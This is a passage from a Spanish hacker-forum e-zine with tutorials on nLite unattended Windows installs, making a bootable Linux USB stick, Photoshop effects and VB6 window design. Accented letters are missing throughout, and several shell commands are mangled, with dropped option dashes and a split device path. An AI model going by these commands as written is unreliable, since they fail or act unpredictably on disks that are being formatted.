Luego nos mandara una pantalla de ajustes preestablecidos, lgicamente no tenemos ninguno, as que dale siguiente, despus nos pondr la parte interesante de este programita y es el control central de nlite donde le decimos globalmente que hacer, as que explicare las ramificaciones de la rama principal de cada funcin que tiene nlite.
El primer botn llamado Service Pack que mas decir con esto, :D, pues si es donde metes los service pack que quieres que tu windows posea, as que cuando entres en esa seccin te dir que busques el service pack que te hallas bajado y solamente le dices donde esta, el hace la compilacin por ti ;), luego podemos ver el botn act criticas y Conjuntos de actualizaciones ah insertas todas las actualizaciones que hallan despus del ultimo service pack, que por ahora son pocas con la salida del Sp3.
En el siguiente botn llamado integrar controladores, ah metes los drivers que quieres que ya vengan preestablecidos como los de tu tarjeta de sonido, de video, drivers sata etc. (ten en cuenta que si de casualidad metes un driver y el nlite te dice en que modo quieres que se integre le pones que en modo controlador regular PNP es la mejor opcin ok.
Eliminar controladores; que se puede decir de ese botn ?, pues casi nada solo entra y elimina lo que vos no quieres que se instale en tu SO.
Seguimos con el botn llamado instalacin desatendida este es muy general y es el creador de un archivo llamado winnt.sif (lo utilizaremos varias veces en el transcurso del curso) que se encuentra en la carpeta \I386\ de nuestro windows. As que este ser el que haga una cierta parte el win desatendido como un 85%, ya que lo otro lo haremos nosotros manualmente igual que la modificacin de iconos, estilos visuales y algunas otras cosillas que se me escapan por ahora, sigamos con este botn una vez dentro, nos encontraremos con varias pestaas en las cuales existen varios parmetros (mtodos) en los que modificaremos para lograr una buena configuracin del winnt.sif.
En la pestaa general hay varias opciones. empezamos con el modo desatendido en la cual le ponemos la opcin totalmente automatizado ya que queremos el win totalmente desatendido, despus sigue la opcin OEM Preinstall esa la ponemos habilitado,(En la Crea Tu propio windows desatendido CUH e-zine 4 edicin
prxima entrega te dars cuenta de su funcionamiento); y lo que es el Directorio de archivos de programas y Prevencin de ejecucin de datos podemos dejarlo como viene por defecto, En la clave del producto cabe decir que es donde vas a poner la licencia de tu windows, as que ah no hay nada que explicar, en la opcin tipo de equipo lo dejamos en automtico, ya que exactamente no sabemos si lo vamos a instalar en un equipo con multiprocesador o monoprocesador, en la siguiente opcin llamada Miscelneo es donde escogemos si queremos que el firewall de windows, la hibernacin y el salta oobe vengan desactivados, as que tu escoges como quieres que vengan. La opcin restaurar sistemas tambin es a tu escogencia personal as que configralo a tu gusto.
Nos pasamos a la pestaa a usuarios (ehh te has pasado una la de RunOnce, pues no me la he pasado sino despus la configuraremos manualmente ya que de ac te puede causar problemas a la hora de entenderlo as que para despus prxima entrega ;). Bueno ahora en la pestaa usuarios estn las opciones para que creas las cuentas de usuario que tu desees que tu win traiga con todo y password si es que lo deseas as que configralo a tu gusto.
Nota: no podrs seguir este curso a menos que tengas el nlite abierto, ya que tendras que estar imaginando lo que te voy diciendo, y pues estar poniendo imgenes se nos va la revista en dos segundo as que si te interesa este curso ya sabes como aprender xD.
Bueno seguimos con la otra pestaa llamada ID de red, te imaginaras que se trata de el nombre de tu equipo, grupo de trabajo, y el nombre de dominio as que establece cuales sern esos nombres para tu windows.
Bueno cabe decir que las pestaas Regional, configuracin de red, componentes,Configuracin de red, Pantalla y Actualizaciones Automticas son muy fciles de configurar as que no te las explicare ya que esta en espaol y te dicen para que sirve Pero la de Temas de escritorio la dejaremos para despus ya que tambin es otra que necesitamos hacer algo antes para poder integrar bien nuestros temas al windows.
Bueno ya concluimos con el botn de instalacin desatendida (por ahora, ya que aun falta algunas cosas que configurar y poder terminar nuestro proyecto).
Continuando con los botones del control central de nlite, en el botn ajustes puedes configurar las conexiones simultaneas que ayudan mucho para software (peer to peer.), adems de habilitar el soporte para temas no firmados (recuerda habilitarlo que despus no tengas problemas de que no te sirven tus estilos visuales.)
Bueno nos quedan dos botones el de ajustes pues seleccionas los servicios que quieres que traiga el win por defecto adems de configurar como que quieres que traiga el escritorio, que efectos visuales vendrn incluidos, etc., el ultimo botn crear imagen iso ser el ultimo botn que usaras. creo que para la prxima entrega lo podamos ver ya que faltan muchas cosas que aprender.
Nota: recuerda que nlite apenas lo abres debes escoger todas las opciones menos crear imagen iso, para que despus le integremos varias cositas entre ellas el software; pero desde luego no podremos crear aun nuestro win sino hasta la prxima entrega de este manual de creacin de tu windows desatendido.
Esto es lo bsico para luego meterse en lo que es modificaciones de la pantalla de instalacin, cambiar la pantalla de bienvenida, modificar los iconos del windows y ponerles unos de mac o Linux; o lo que tu tengas a disposicin, crear el botoncito de informacin de soporte. Modificaciones en el registro, utilizacin del WPI y luego entrar de lleno en lo que es la instalacin desatendida de los software, (utilizaremos la programacin batch, ojala hayas ledo las anteriores revistas de cuh e-zine donde Furios dami te da la explicacin de cmo programar en este lenguaje.) espero que les haya gustado esta pequea intro al mundo de los desatendidos y pronto logren crear sus propios windows totalmente personalizados y al gusto de cada uno.
Pendrive USB de Arranque en Linux CUH e-zine 4 edicin
Hola amigos soy rOnNyLdInHo, y antes de dar inicio a esta pequea seccin, quera agradecer a todo el equipo que hace posible la edicin de esta ya conocida CUH EZINE, para m es un honor y a la vez una responsabilidad, formar parte de este selecto grupo de la tercera edicin de tan esperada revista. Deseando que tanto usted como sus allegados(as), les sirva mucho no slo este tutorial, sino la revista en s... que por ese motivo fue diseada.
EMPEZEMOS......
Bueno. lo que veremos en este manual, es algo relativamente facil, pero..... Porque relativamente? 1- Por su ttulo: Ya que muchos pensarn que es algo complicado, y por lo tanto lo ignoro. 2- Por el SO a utilizar: Muchos esperaban hacer un USB de arranque, en Windows?. ja dejeme reirme otra vez, ja. ;) 3- Si eres de esos que piensas que con pintar en The Gimp o hacer textos en OpenOffice, ya dominas Linux, solo mira esto y comienza a aprender, que para eso estamos todos aqu en esta Tierra
Ahora que es lo que necesitamos???
1- Ganas de aprender. 2- Quitarse esa mentalidad de que Windows lo puede todo...slo dale una oportunidad a Linux y vers como responde l de bien. ;> 3- Utilizar mucho eso que tienes arriba y que muchos lo llaman cerebro, NOTA: Yo hoy me di cuenta que funciona no slo para ponerse el sombrero. 4- Fuera de chistes y dems, saber que esto es slo un manual, una ayuda, la parte ms importante la haces tu, y como lo dije antes, tu cabecita.
Qu es exactamente lo que vamos a hacer? Bueno, ya que muchos hemos pasado por ser novatos en Linux, nos gustara tener esa inquietud, de cmo responder si lo pongo a trabajar fuerte. Entonces haremos una unidad de arranque USB.
Crear una unidad de arranque USB es fcil, pero antes de empezar a digitar como loco, quiero dar una pequea introduccin al tema.
Primero debes saber que NO todas las placas base son capaces de arrancar desde USB. Es ms, muchas no arrancan ni con combinaciones de pendrives USB y placas base juntas. Algo peor? S hay algo peor, algunas llaves empiezan a cargar el sistema operativo pero quedan frenadas en los procedimientos del cheksum de la BIOS interna tras transferir unos pocos Kbs de informacin. Hasta se ha visto en algunas ocasiones, que hasta depende de qu puerto USB se est usando para ponerla a funcionar.
Pero bueno, no le echemos mas lea al fuego, la mayora de las combinaciones de placa(capaz de arrancar desde USB) y llave, funciona :)
Hay que tener en cuenta que hay algunos obstculos que debemos superar en el proceso de arranque. En el momento en que el bootloader debera leer el kernel de Linux y el initrd desde el pendrive, no hay SO que se est ejecutando y la BIOS del ordenador debe hacer todo el trabajo de detectar las particiones y cargar la informacin de la unidad sin tener ningn otro driver disponible ms que los del firmware de la BIOS en la placa. Por otro lado, tan pronto se carga el kernel de Linux, la llave USB desaparece. O sea, ya no es visible, y tiene que re-detectarse por el kernel usando mdulos de disco RAM inicial que contiene los drivers USB y el sistema de archivos usado por las particiones que contienen la informacin principal de tu SO.
Existen an muchas cosas que pueden ir mal en un arranque desde USB, incluso si seguimos los pasos correctamente. Es probable que no sea culpa nuestra....
Para los siguientes ejemplos vamos a usar /dev/sda Pendrive USB de Arranque en Linux CUH e-zine 4 edicin
como nombre del dispositivo del pendrive USB. Esto puede ser incorrecto en muchos casos, especialmente si nuestro equipo alberga discos SATA. Es aconsejable volver a verificar el nombre del dispositivo asignado al dispositivo USB cada vez que lo conectemos. Para la mayora de los comandos no vamos a necesitar permisos de root si los archivos del dispositivo que estn en /dev se pueden escribir por un usuario de cuenta normal y son contables mediante las correspondientes entradas de /etc/fstab. En caso contrario, usaremos sudo o un shell de root, con lo que debemos ser especialmente cuidadosos. Nota: Si no sabes como conseguir permisos de root con un sudo, es recomendable que no realices este tutorial.
Paso 1: Creamos el sistema de archivos. Algunos pendrives USB slo arrancan si se particionan de cierta manera, y algunas BIOS aparentemente buscan un cierto tipo de cabecera de particin y sistema de archivos, o renunciarn a arrancar. He visto casos en los que una placa slo quera arrancar desde un pendrive USB sin particionar, y otros en los que se requeran tanto el flag de un sector de arranque DOS como el de la particin de arranque. En primer lugar podemos probar con una tabla de particiones por defecto y un sistemas de archivos ms o menos sin modificar. La mayora de los pendrives USB recientes tienen una especie de tabla de particiones vlida en la que la primera particin primaria est formateada en FAT16 o FAT32. En este caso debemos asegurarnos de que la particn es arrancable. Para una particin de un pendrive USB que aparezca como /dev/sda1, el comando para configurar el flag como arrancable sera: sfdisk -A1 /dev/ sda
Para reparticionar la unidad USB podemos usar las mismas herramientas que usamos para un disco duro normal (es decir: qparted o, mi favorito y el favorito de muchos: fdisk o sfdisk).
El tipo de particin para un sistema de archivo DOS/FAT (el menos problemtico para el arranque desde una unidad USB) sera 6 para FAT16 y b para FAT32. Usamos FAT16 para particiones menores de 2GB y FAT32 si son mayores. Vase arriba el comando de sfdisk para fijar el flag de la particin como arrancable (o 'activo'), lo cual es independiente del sistema de archivo de las particiones o del contenido. El comando de mkdosfs para dar formato a una particin FAT16 como /dev/sda1 es:
mkdosfs -F16 /dev/sda1
Mientras que para FAT32, sera:
mkdosfs -F32 /dev/sda1
Aunque yo creo que no, pero an as lo voy a decir(escribir en este caso), es obvio que a este punto perderemos toda la informacin que est en la particin, por lo tanto debemos hacer una copia de seguridad de toda la info que consideres importante.
Muchos pendrives USB no muestran la nueva tabla de particiones inmediatamente, por lo que es buena idea sacar y reconectar el pendrive USB o disco duro cada vez que sigamos los pasos anteriores.
Ahora volvemos a verificar la nueva particin con:
cat /proc/partitions
Tras haberlo conectado de nuevo y despus de haber esperado muchos segundos (muchos, muchos, puedes irte a tomar un caf :>, je je es porque algunas unidades son muy lentas en la deteccin de la tabla de particiones).
Si la unidad ya aparece como un nombre de nuevo dispositivo (es decir, sdb en lugar de sda), probablemente hemos olvidado desmontar el sistema de archivos antes de desconectarla. Podemos hacerlo ahora, no obstante, es probable que no exista ya, tras la reparticin de la unidad.
Para los pendrives USB sin particin (si el mtodo de arranque particionado falla), nos saltamos el paso de particionado y tecleamos el comando mkdosfs sobre el pendrive USB entero.
Esa, amigos mos, fue la parte ms difcil, ahora lo que viene es sumamente sencillo, similar a cambiar de Windows XP a Ubuntu Feisty :)
Paso2: Instalar el syslinux como cargador del kernel
Lo que isolinux hace para un CD/DVD, syslinux lo hace para las particiones o discos formateados en DOS. Para unidades particionadas:
syslinux /dev/sda1
Para unidades no particionadas:
syslinux /dev/sda
aqu debemos de asegurarnos que estamos utilizando el nombre correcto de dispositivo para nuestro sistema.
Si usamos un pendrive USB particionado, podemos configurar (o si prefieres resetear) el sector de arranque adecuadamente. Aunque, no es necesario hacer esto. Puede que primero queramos ver si el arranque funciona sin cambiar el MBR.
Instalamos un sector de arranque syslinux para unidades particionadas: Pendrive USB de Arranque en Linux CUH e-zine 4 edicin
ms-sys -s devicename
Usamos /dev/sda si /dev/sda1 es la particin FAT16/FAT32 del pendrive USB. Debemos vigilar que el nombre del dispositivo sea correcto.
Paso3: Copiamos los archivos de arranque y la informacin En este paso, tenemos que montar el pendrive USB (o particin, si usamos el modo particionado) en modo sensible a maysculas:
A continuacin deberamos cambiar /dev/sda1 a la particin en cuestin, y entonces saltarnos el nmero de la particin en caso de usar todo el pendrive.
Copiamos ahora los archivos de arranque desde el CD o DVD de tu Distro*
*Como lo dijo mi amigo LTSmash en la edicin pasada, una distro es una distribucin de cualquier SO basado en GNU/Linux. En mi caso, para hacer este manual yo instal Knoppix, pero se puede realizar en cualquier distribucin de Linux sin ninugn problema. Nada ms en los cdigos que presentar a partir de aqu, cambian el nombre KNOPPIX por sus distro, por ejemplo: Ubuntu, SuSe, Lindows, etc.
Vamos a suponer que el CD se monta en /cdrom en una sesin Live de Knoppix, aunque en realidad este paso se puede realizar en cualquier distro de Linux.
cp /cdrom/boot/isolinux/* /media/usbkey
Mientras isolinux busca los archivos de arranque en /boot/isolinux, syslinux los busca en el directorio / del sistema de archivos FAT. Pero... syslinux da un nombre diferente a su archivo de configuracin!
Podemos borrar con seguridad los archivos especficos de /iso/eltorito, ya que no los vamos a necesitar.
rm -f U /media/usbkey/isolinux.bin /media/usbkey/boot.cat
En este punto el pendrive es arrancable y contiene tanto el kernel como el initrd, y podemos empezar a copiar los archivos de cloop, que residen en el directorio de tu distro , en mi caso, Knoppix.
rsync -Hav progress /cdrom/KNOPPIX U /media/usbkey/KNOPPIX
Una vez hecho esto, tenemos que desmontar el dispositivo para poder sincronizar el bfer, de datos pendientes a disco y cerrar la sesin. No se sorprenda si este comando tarda bastante tiempo en ejecutarse. Puede haber muchos datos sin escribir en memoria debido a la fabulosa cach del bfer dinmico de bloques de Linux, que hace parecer que las escrituras en disco son ms rpidas de lo que realmente son.
umount /media/usbkey
Paso4: Configurar la BIOS de la PC
Una placa capaz de arrancar desde USB tiene al menos dos modos de arranque por USB: 1- Arranque desde Disco Duro USB. (Unidad USB particionada) 2- Arranque desde unidad ZIP USB. (Unidad USB sin particionar)
Para nuestro disco duro la opcin DISCO DURO sera la correcta pero todo depende de lo que hagamos en el paso 1.
Crditos. Manual editado por rOnNyLdInHo. Revista Linux Magazine por la oportunidad de editarlo. Klaus Knopper fundador de Knoppix por la ayuda. Este manual ha sido editado nicamente para la revista CUH-Ezine del foro: http://foro.el-hacker.com Dudas, Comentarios, Sugerencias y Quejas: ronnyldinho@hotmail.com klaus@linux-magazine.com http://foro.el-hacker.com
Bling Text Tutorial CUH e-zine 4 edicin
Creamos un nuevo Documento con Fondo De color Negro, as nos ser mas fcil trabajar, escribe tu texto en color blanco.
Y ahora aplcale al texto los siguientes Estilos:
Quedando Algo As:
Ahora haz Ctrl + Click en el icono de texto de la capa para crear una seleccin del texto. Si no sabes como hacerlo observa esta imagen.
Seguidamente dirgete a Seleccin > Modificar > Contraer, y contrelo 5 Pixeles, AUN NO DESELECCIONES. Bling Text Tutorial CUH e-zine 4 edicin
Ahora crea una nueva capa ( sin deseleccionar ) rellnala de color blanco. Ahora dirgete a Filtro > Ruido > Aadir Ruido con estos valores: Cantidad: 40% Distribucin: Gaussiana y Activamos la casilla Monocromtico y le damos a Aceptar. Luego presiona Ctrl + F para repetir el filtro. NO DESELECCIONES AUN !
Ahora nos vamos a Filtro > Ruido > Polvo Y Rascaduras , Con estos Valores: Radio: 1 Pix. Umbral: 130. ( Nota: Aqu puedes varias los valores para que se adapten a tu gusto y al tamao de tu texto ) Seguidamente nos dirigimos a Filtro > Estilizar > Relieve , Con estos Valores: Altura: 3 Pix. Cantidad: 130%. Queda un poco oscuro, pues vamos a subirle el brillo, para ello vamos a Imagen > Ajustes > Brillo/Contraste Con estos valores: Brillo: +70 Contraste: -20. Ahora podemos deseleccionar presionando Ctrl + D.
Ahora le aplicamos estos estilos, a la capa del Ruido.
Quedando Asi:
Ahora crearemos unos brillos, si no dispones de Pinceles de Brillos no te preocupes ahora te mostramos como crearlos manualmente. Primero crea una nueva capa, selecciona el color blanco, selecciona la herramienta Lnea con una medida de 2 Pix. y dibuja una X en la capa, ahora creamos otra Bling Text Tutorial CUH e-zine 4 edicin
nueva capa, seleccionamos la herramienta de Pincel, suavizamos al mximo el pincel y hacemos un clic en el centro de la X, ahora seleccionamos la capa de la X y le bajamos la opacidad asta nuestro gusto, luego con el borrador suavizado barramos las puntas de la X dndole forma de aguja, quedando como resultado:
Ahora une las dos capas del brillo ( Ctrl + E ) y duplcala tantas veces quieras y muvelas hacia el lugar que decidas.
En la siguiente imagen solo hemos aadido un degradado a la capa del texto original
Para que quede un buen resultado, es hacer el texto con unas grandes dimensiones, al hacerlo con un gran tamao el efecto quizs no es bueno, pero si reducimos el texto, el efecto mejora notablemente, para ello, lo que tienes que hacer es seleccionar todas las capas, luego presionar Ctrl + E para unirlas, luego presionar Ctrl + T para abrir la transformacin libre y ah reducimos la imagen un poco hasta que veamos que su efecto a mejorado. Quedando un resultado como este:
Diseo de interfaces 1 CUH e-zine 4 edicin
Este tuto esta hecho para dar una gua de mas o menos que pasos debemos seguir para la creacin de interfaces para nuestros programas y las pautas que debemos segur a la hora de escoger el color y las formas de los distintos elementos de la misma, en este tutorial se usaran tres programas:
Photoshop CS2
Visual Basic 6.0
Microangelo 5.5
Para el diseo de las barras fondos y botones usaremos el Photoshop CS2, debemos tener en cuenta que podemos manejar distintos tamaos para las ventanas y dems componentes de nuestros programas, as mismo debemos tratar de ser consecuentes y concordantes en cuanto a los colores o sea el manejo de un tema uniforme para las distintas partes u elementos de nuestras aplicaciones, antes no se tenan en cuenta este tipo de cuestiones, ya que de lo que se trataba era ser funcionales y el diseo poco trascenda en la creacin de un programa, pero en la actualidad ya es un tem manejar el concepto del diseo grafico en los programas, ya que esta ser la cara que daremos a los dems y de esta forma se vern que nuestras maneras de trabajar son acordes a la realidad y la actualidad, es por ello que se hace necesario saber ciertas cosas para poder competir grficamente con otras aplicaciones que pueden hacer lo mismo que la nuestra, pero que por diseo la nuestra se lleva de leguas a las dems, siendo escogida por esta cualidad ante las dems, es cierto que entre mas liviana sea nuestra aplicacin, mas funcional ser, sin embargo con los tipos de tecnologas y el hardware soportado y que se maneja en la actualidad eso ya no es un pretexto para hacer aplicaciones arcaicas y monocromticas, ya que un poco de diseo no le aadir el suficiente peso para hacerla inoperable (A menos que tengas un PC de el pasado milenio), ya que con los equipos que salen al mercado desde hace mas de 5 aos fcilmente una aplicacin de menos de 10 megas es algo casi que ultraliviano entre comillas lgicamente!
Entonces empezaremos con la parte de la barra de titulo en Visual Basic 6.0 lgicamente
y para poder personalizar nuestra aplicacin para que dicha barra de Windows desaparezca debemos manejar la propiedad BorderStyle del form:
Diseo de interfaces 1 CUH e-zine 4 edicin
En Windows se usa esta barra para poner el titulo de la ventana y para el manejo de los botones de visualizacin, por defecto Windows depende del theme que se use actualmente para as mismo poner el color y la fuente de la misma, entonces en el combo de la propiedad la ponemos en 0- none para omitir la barra.
De forma que podemos usar las nuestras para personalizar totalmente nuestras
Cabe decir que al quitar este elemento el form queda fijo ya que no se puede mover la ventana al carecer de la barra, sobra decir tambin que sirve para ello, sin embargo podemos manejar el API ReleaseCapture, por el momento veremos la forma de hacer las barras para usarlas en nuestras aplicaciones, suponiendo que manejamos varios tamaos de ventanas, entonces para cada tamao manejaremos una barra, en nuestro primer caso vamos a suponer que hacemos el home y una ayuda por el momento, necesitaremos dos forms para ello, pero primero vamos al diseo de las barras en photoshop. Abrimos un nuevo documento de 400 pixeles de ancho x 20 pixeles de alto, lo rellenamos de negro.
Insertamos una nueva capa
Con la herramienta pincel, un pincel duro, redondo y de color blanco
Cuando necesitamos precisin podemos usar las guas para manejar exactitud a la hora de disear, en el men Vista, Nueva Guia:
Diseo de interfaces 1 CUH e-zine 4 edicin
Hacemos tres puntos separados equitativamente y ala misma altura, dejando las guias para poner los botones de la siguiente forma
Seleccionamos la Herramienta Texto y escribimos un carcter por capa en cada botn
Creamos una nueva capa de color blanco asi:
Le bajamos a esta capa a 45% quedando asi
Ya tenemos nuestra primer barra lista para usar, la guardamos en el men archivo guardar para web
bien sea como un .gif o como un .jpg
Este mismo documento nos puede servir para crear la barra mas ancha, debemos guardar el psd para mantener los documentos psd, vamos al men archivo
Diseo de interfaces 1 CUH e-zine 4 edicin
independientes en caso de futuras modificaciones pero debemos crear la mas ancha de 600 px de ancho X 20 px de alto, para ello nos vamos al men imagen
Y le cambiamos el ancho a 600, seleccionamos todas la capas (menos la capa de fondo negro o sea la base) en el men capas, se logra seleccionando la primera y con la tecla CTRL presionamos una a una las capas que necesitamos manipular
en este caso necesitamos moverlas a la derecha de la barra para despus dimensionar la capa que da el efecto de resplandor
De esta forma ya podemos hacer algo bsico, entonces vmonos a Visual Basic de nuevo, all nos vamos a la propiedad Picture del form1 y seleccionamos la barra pequea para el home de nuestra aplicacin, debemos adaptar el ancho del form de forma que se adapte al ancho de la barra
Diseo de interfaces 1 CUH e-zine 4 edicin
Ahora le ponemos al form a la propiedad BackColor el color negro
Luego insertamos un shape rectangular
Lo modificamos a de forma que quede de la siguiente forma:
Y las propiedades del Shape quedan de esta forma
Ahora insertamos un nuevo form
Hacemos lo mismo que en el primer form, esta vez seleccionamos la barra mas ancha, el BackColor del Form2 igual que el anterior, pero esta vez vamos aadir dos shapes rectangulares una transparente y otra blanca a modo de panel lateral, y una lnea, quedando algo as
Volvemos de nuevo al Photoshop para hacer algo que es tpico de las paginas webs y del diseo en general, y es crear una imagen transparente de 1 pixel x 1 pixel, la usaremos como una mascara o capa de seleccin, ya veremos como la usaremos, entonces para ello abrimos un nuevo documento transparente de 1 px X 1 px y lo guardamos con el nombre de EspacioBlanco.gif, volvemos al form1 e insertamos un Image, seleccionamos la imagen EspacioBlanco.gif y en la propiedad Stretch le ponemos True de esta forma la expandimos para abarcar un botn, seleccionamos la imagen y le damos click derecho, copiar, pegar, nos saldr algo diciendo que si deseamos un no se que XD, le decimos que Diseo de interfaces 1 CUH e-zine 4 edicin
no y pegamos de nuevo, escogemos no de nuevo, corremos las imgenes una en cada botn
Volvemos a photoshop para hacer unos botones breves, abrimos una nueva capa de 60 px X 20 px Le ponemos el fondo negro con la herramienta texto escribimos entrar
Para el borde blanco del botn seleccionamos la capa de fondo y en el men Capa
Le dejamos el trazo como se ve
Guardamos para web, en formato .Gif como botn-A.gif, ahora seleccionamos el texto y le cambiamos el color a un tono gris y en el resplandor exterior le dejamos como se ve
A la capa del fondo en el estilo resplandor interior lo dejamos como se ve en la siguiente imagen, el color es a vuestro gusto de igual forma todo lo aqu expuesto, es el estilo personal el que decide los esquemas de colores que se elegirn para hace las aplicaciones determinando en ello el tipo de aplicacin y los usuarios a los que llegar nuestro programa o aplicacin. Diseo de interfaces 1 CUH e-zine 4 edicin
De nuevo en Visual agregamos un Command o botn que llaman, en la propiedad Style le dejamos en 1-Graphical, seleccionamos la propiedad Picture y cargamos la imagen Boton-A.gif
En las propiedades dejamos como se ve aca
En la propiedad DownPicture cargamos la imagen que queremos que se active al clicar el botn, de esta forma creamos un efecto de roll-over sin embargo es molesto el borde del command por ello yo prefiero hacerlo con el control Image y no con el control Command, al evento click del Command le cargamos el form2 con la propiedad Show y el form1 le cambiamos la propiedad visible en false, tambin asignamos los eventos click de las mascaras o imgenes transparentes, quedando el code del form1 as:
Muestra el form2 y Oculta el form1 Private Sub Command1_Click() Form1.Visible = False Form2.Show End Sub
Termina la aplicacion Private Sub Image1_Click() End End Sub
Ayuda Private Sub Image2_Click() MsgBox "Ayuda" End Sub
Minimiza el form Private Sub Image3_Click() Me.WindowState = vbMinimized End Sub
Es importante dejar la propiedad StartUpPosition en 2- CenterScreen, para que siempre arranquen en el centro de la pantalla sin importar la resolucin de la misma,
De igual forma debemos pegar las mascaras o imgenes transparentes en el form2 para que quede funcional por el momento y asignarles el mismo code que en el form1, Tambin agregamos un Command pero sin asignarle imagen ni nada
Pero al evento click del botn mostrar el form1 y ocultara el form2
Muestra el form1 y Oculta el form2 Private Sub Command1_Click() Form2.Visible = False Form1.Show Diseo de interfaces 1 CUH e-zine 4 edicin
End Sub
Termina la aplicacion Private Sub Image1_Click() End End Sub
Ayuda Private Sub Image2_Click() MsgBox "Ayuda" End Sub
Minimiza el form Private Sub Image3_Click() Me.WindowState = vbMinimized End Sub
Ahora solo queda disear nuestro icono para terminar el tutorial, retornamos de nuevo a photoshop, abrimos un nuevo documento de 200 px X 200 px con fondo negro, creamos una nueva capa y seleccionamos la herramienta rectngulo y hacemos dos rectngulos uno de fondo blanco pequeo y uno mas grande de fondo negro y trazo blanco de un pixel, le ponemos un texto dentro, mas o menos as
Combinamos las capas visibles y duplicamos la capa, la transformamos y desocultamos el fondo y al estilo de capa le ponemos un superposicin de degradado de esta forma
Al resultante lo guardamos para web pero esta vez en formato .jpg, lgico que tambin guardamos el documento .psd para poder de esta forma tener nuestros documentos a la mano por si necesitamos hacer modificaciones. Abrimos MicroAngelo Studio 5.5 y
Con este programa podemos crear nuestros iconos de manera rpida y eficiente, la primer pantalla nos muestra el primer frame por defecto de 48 x 48 y de 256 colores, nos vamos al men Tools
Dejamos todo como se ve en la pantalla anterior, ahora nos vamos al men Edit -> Import
en Photoshop, ya lo podemos manipular como un icono
Como muchos saben los iconos son usados dependiendo del tipo del programa que los necesite, de esta forma podemos tenerlos en distintas resoluciones para que de esta manera no se deforme al tener un solo frame y ser requerido para distintos usos como son el icono que se pone en el Sistray, los iconos de vista previa y otros mas, es por ello que es necesario tener nuestro icono en varias resoluciones , para saber cuantos frames tenemos nos vamos a esta pantalla y al hacer clic derecho podemos agregar o eliminar frames, como en nuestro caso tenemos el primer frame en blanco o vacio hacemos clic derecho y lo borramos
De la misma forma que borramos podemos agregar nuestros nuevos frames haciendo clic derecho sobre el frame actual, para cada resolucin creamos un frame, asegurando un icono especial para cada requerimiento del sistema, de la misma forma que lo dejamos sin transparencia, con MicroAngelo tambin podemos hacer nuestros iconos trasparentes.
Pero para ello debemos seleccionar una herramienta de edicin como son los pinceles o el bote pintura, similares a como funcionan en photoshop las herramientas
para ello debemos saber usar el selector de color y escoger un monitor pequeito en la parte superior de la ventana paleta
Ya es cuestin de experimentar con las tools y con el programa en si. Guardamos el resultado como un archivo .ico y listo ya podemos usarlo en nuestros proyectos
Volvemos a Visual Basic 6.0 y en el form1, cargamos el icono recin creado, ahora vamos a resolver el problema de mover el form, como dije antes, usaremos la API ReleaseCapture y la Diseo de interfaces 1 CUH e-zine 4 edicin
funcin SendMessage, para ello las declaramos al principio del form de la siguiente manera
Declaramos la function SendMessage y la API ReleaseCapture
Private Declare Function SendMessage Lib "User32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Sub ReleaseCapture Lib "User32" ()
Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single) Dim lngReturnValue As Long If Button = 1 Then 'si es el botn izquierdo Call ReleaseCapture lngReturnValue = SendMessage(Me.hWnd, WM_NCLBUTTONDOWN, HTCAPTION, 0&) End If End Sub
Cabe decir que este procedimiento nos sirve para mover cualquier control que posea la propiedad hWnd,. De esta forma queda solucionado el problema de las ventanas fijas e inamovibles, otra buena opcin para nuestros programas es estar posicionada encima de todas las ventanas activas, tal como lo hacen programas como el administrador de tareas, esa funcionalidad se llama TOPMOST y se puede lograr de distintas maneras la primera es de esta forma
'Declaramos la Api Private Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long 'Declaramos las constantes que usar la Api Const SWP_NOMOVE = &H2 Const SWP_NOSIZE = &H1 Const SWP_NOOWNERZORDER = &H200 Private Sub Form_Load() 'Llamamos la funcion al cargar el form Call SetWindowPos(hWnd, -1, 0, 0, 0, 0,
SWP_NOMOVE Or SWP_NOSIZE Or SWP_NOOWNERZORDER) End Sub
La otra forma es mas larga perola podemos aplicar a un botn
'Declaramos la Api Private Declare Function SetWindowPos Lib "user32" (ByVal _ hWnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, _ ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, _ ByVal wFlags As Long) As Long
Se llama la funcion y se declaran constantes Sub SetTopmostWindow(ByVal hWnd As Long, Optional topmost As Boolean = True) Const HWND_NOTOPMOST = -2 Const HWND_TOPMOST = -1 Const SWP_NOMOVE = &H2 Const SWP_NOSIZE = &H1 SetWindowPos hWnd, IIf(topmost, HWND_TOPMOST, HWND_NOTOPMOST), 0, 0, 0, 0, _ SWP_NOMOVE + SWP_NOSIZE End Sub boton1 pone la ventana encima de todas Private Sub Command_Click() SetTopmostWindow Me.hWnd End Sub boton2 pone la ventana normal Private Sub Command2_Click() SetTopmostWindow Me.hWnd, False End Sub
Existen diversas maneras de afrontar el diseo de nuestras aplicaciones pero se hace extenso el texto, es por ello que se queda para otra edicin, la siguiente parte de este tutorial, cabe decir que la eleccin de los colores, es algo que se tratar en la segunda parte, ya que es algo primordial para darle una identidad y un aire profesional a nuestros programas, por muy pequeos que sean, como dicen por ah, todo entra por los ojos y que mas que el software, gracias a todos por su paciencia y por soportar la larga espera de esta edicin , que como todas las dems siempre ha estado plagada de imprevistos y de aplazamientos pero al final se ha terminado, tarde pero se ha logrado, ojala que para los prximos nmeros de la revista se superen este tipo de impases, Espero que les haya gustado este tutorial, es hecho exclusivamente para el CUH E-zine, la revista electrnica del foro de el-hacker.com www.el-hacker.com/foro By Aleks 2008 Diseo de interfaces 1 CUH e-zine 4 edicin
Anexo - Resultados Diseo
Diseo de interfaces 1 CUH e-zine 4 edicin
Barras de Titulo
Iconos
Marco Simple Style CUH e-zine 4 edicion
Hola a todos los lectores de la revista, les traigo un tutorial para el rea de diseo grafico, el Marco Simple Style. En realidad yo no lo invent, pero si lo mejore, y debo decirles que lo que yo les enseo aqu ustedes no lo hagan como lo hice yo, hganlo mejor ;) .
Comenzamos.... Ya debemos tener la firma pronta, en lo posible de tamao medio grande as luego de los recortes les quedar bien.
Yo utilizar esta:
1- Lo primero que hacemos es crear una imagen transparente un poquito mas grande que el tamao de la firma, y luego pegar la firma. Ahora tenemos que seleccionar el rea que utilizaremos para el marco, para eso usaremos el Lazo Poligonal y si deseamos las guas para hacerlo mejor.
